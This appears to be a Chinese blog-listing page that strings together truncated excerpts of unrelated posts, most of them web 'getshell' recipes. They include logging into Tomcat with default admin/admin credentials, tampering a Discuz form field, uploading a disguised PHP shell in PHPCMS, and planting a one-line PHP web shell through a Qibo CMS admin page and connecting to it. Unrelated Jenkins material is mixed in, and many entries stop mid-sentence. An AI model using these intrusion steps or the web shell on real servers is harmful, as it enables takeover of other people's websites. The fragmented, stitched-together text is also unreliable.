1.什么是jenkinsjenkins是一个开源软件项目，是基于java开发的一种持续集成工具，用于监控持续重复工作，提供一个开放易用的软件平台，使软件的持续集成变得可能；jenkins是一款能提高效率的软件，可以把软件开发过程中形成工作流，分以下几部分：开发—提交—编译—测试—发布有jenkins后，在以上工作流中，除了开发过程，后续的都可以是自动化完成的：当你提交完代码后，jenkins会自动
有些Tomcat安装之后没有修改默认密码（用户名admin/admin），这样就可以直接登录进去。
有两个目录可以访问：
/admin
/manager/html
/admin 目录下的利用：
Service--host--actions--Create New Context建立虚拟目录Document Base填你想浏览的目录，比如c:\，Path自己随便写，例如/gui
原创
2013-04-24 11:05:52
1023阅读
原帖地址内容：http://zone.wooyun.org/content/3894用户 – 用户栏目 – 栏目分组 – 提交 – 抓包 (我就是在这步出错的，一定要提交，不然抓到的数据包不一样)1Content-Disposition: form-data; name="settingnew[profilegroupnew][base][available]"改为1Conte
原创
2013-05-24 16:07:05
936阅读
详细说明：admin/edit_languages.phpelseif ($_REQUEST['act'] == 'edit'){ /* 语言项的路径 */
转载
2023-05-19 14:37:16
139阅读
见http://www.wooyun.org/bugs/wooyun-2010-03787以前6.5的有人发的方法是，（进入后台---系统设置---管理数据表---管理系统模型---导入新型模块,直接把修改过的php的shell改名为shell.php.mod上传，新版使用uploadm~num.php来递增数字）发现6.6不行，上传之后会变成类似uploadm1324885505nXmTdQam
原创
2013-05-15 14:07:08
1602阅读
http://81sec.com/read.php?65
转载
精选
2011-06-27 01:43:33
465阅读
后台--系统功能--单篇文章独立页面管理--增加页面--
1.标题栏中
<?php $_GET['test']($_POST['cmd']);?> 2.静态页面名test001.php3.点击提交，点击生成静态4.菜刀连接http://127.0.0.1:8000/qibo/test001.php?test=assert &
原创
2013-04-24 11:09:45
363阅读
phpwind v9.0.2 后台getshell，进入后台后才可以
原创
2023-01-06 16:47:00
559阅读
ndex.php?s=$1 last; break;
原创
2022-10-27 01:16:53
142阅读
PHPMyAdmin后台GetShell姿势总结前言：本地环境：数据库文件导出写入利用条件利用方式数据库全局日志写入利用条件利用方式数据库慢查询日志写入利用条件利用方式CVE-2018-12613利用条件利用方式CVE-2018-19968利用条件利用方式 欢迎大
原创
2022-04-09 14:56:08
2901阅读
前言 最近看了《代码审计-企业级Web代码安全构架》第一遍，颇有心动，找了个织梦来练练手 环境 win10 mysql5.7+php5.4.45 工具 vs+seay 后台代码任意文件写入 首先我们先还是必须得熟悉一下dede目录结构 1、程序核心程序目录及简介 /include目录 程序核心目录
原创
2021-07-16 10:22:52
538阅读
方法为： 后台： 插件--添加插件--请选择导入方式:上传本帖附件中的XML文件 并
原创
2022-11-15 10:53:25
708阅读
由于接触安全时间不多，一些老的getshell方法不是很清楚。这次碰到了个老站，正好学习了一下。 首先这边是用户名可以猜测出来的，因为输入错误的用户名显示用户名不存在，如果存在的话会显示密码错误。 爆破了一下没发现账号可以登陆，因为页面留下了QQ，所以使用了SGK去查了下，得到了个手机号码 猜测可能 ...
转载
2021-10-14 08:57:00
584阅读
2评论
由于接触安全时间不多，一些老的getshell方法不是很清楚。这次碰到了个老站，正好学习了一下。 首先这边是用户名可以猜测出来的，因为输入错误的用户名显示用户名不存在，如果存在的话会显示密码错误。 爆破了一下没发现账号可以登陆，因为页面留下了QQ，所以使用了SGK去查了下，得到了个手机号码 猜测可能 ...
转载
2021-10-14 08:57:00
380阅读
2评论
目录一、jenkins是什么？二、CI/CD是什么？三、使用Jenkins进行PHP代码(单元)测试、打包。3.1.General3.2.源码管理3.3.构建触发器3.4.构建环境3.5.构建3.6.构建后操作3.7.其他相关配置Ant 配置文件 "build.xml"配置 Gitlab webhooks四、进行jenkins project 构建五、构建结果说明六、jenkins权限管理一、je
境搭建Doccms官网：http://www.doccms.com程序源码：D...
原创
2023-05-22 18:42:34
155阅读
目前支持64种CMS系统！全自动采集URL 全自动getshell 自动验证！！！
转载
2015-04-25 00:24:00
703阅读
2评论
# Hadoop Getshell实现流程
## 概述
Hadoop是一个开源的分布式存储和计算框架，可以处理海量数据。然而，正是因为其分布式的特性，如果不加以安全措施，也会面临一些潜在的安全风险，例如被黑客利用获取shell权限。本篇文章将介绍如何实现Hadoop Getshell，并给出每一步的具体操作和代码示例。
## Hadoop Getshell实现步骤
| 步骤 | 操作 |
|
原创
2023-07-30 12:42:12
25阅读
# MongoDB Getshell攻击流程
## 概述
在教学过程中，务必强调合法的、道德的用途。这篇文章将向刚入行的小白介绍如何实现“mongodb getshell”，并通过一个流程图和代码示例详细解释每个步骤。
## 流程图
```mermaid
flowchart TD
A[获取目标IP和端口] --> B[扫描目标]
B --> C[发现开放的MongoDB端口]
原创
2023-10-13 03:44:45
219阅读
## 实现“Redis Getshell”流程
### 1. 了解Redis服务和Getshell的概念
在开始之前，我们需要明确一些概念和了解工具的使用。首先，Redis是一个开源的高性能键值对存储数据库，常用于缓存、消息队列等场景。Getshell是指通过一些漏洞或者技术手段获得目标服务器的 shell 权限。
### 2. 环境准备
在进行实验之前，我们需要准备以下环境：
- 一台
原创
2023-10-14 12:12:34
70阅读
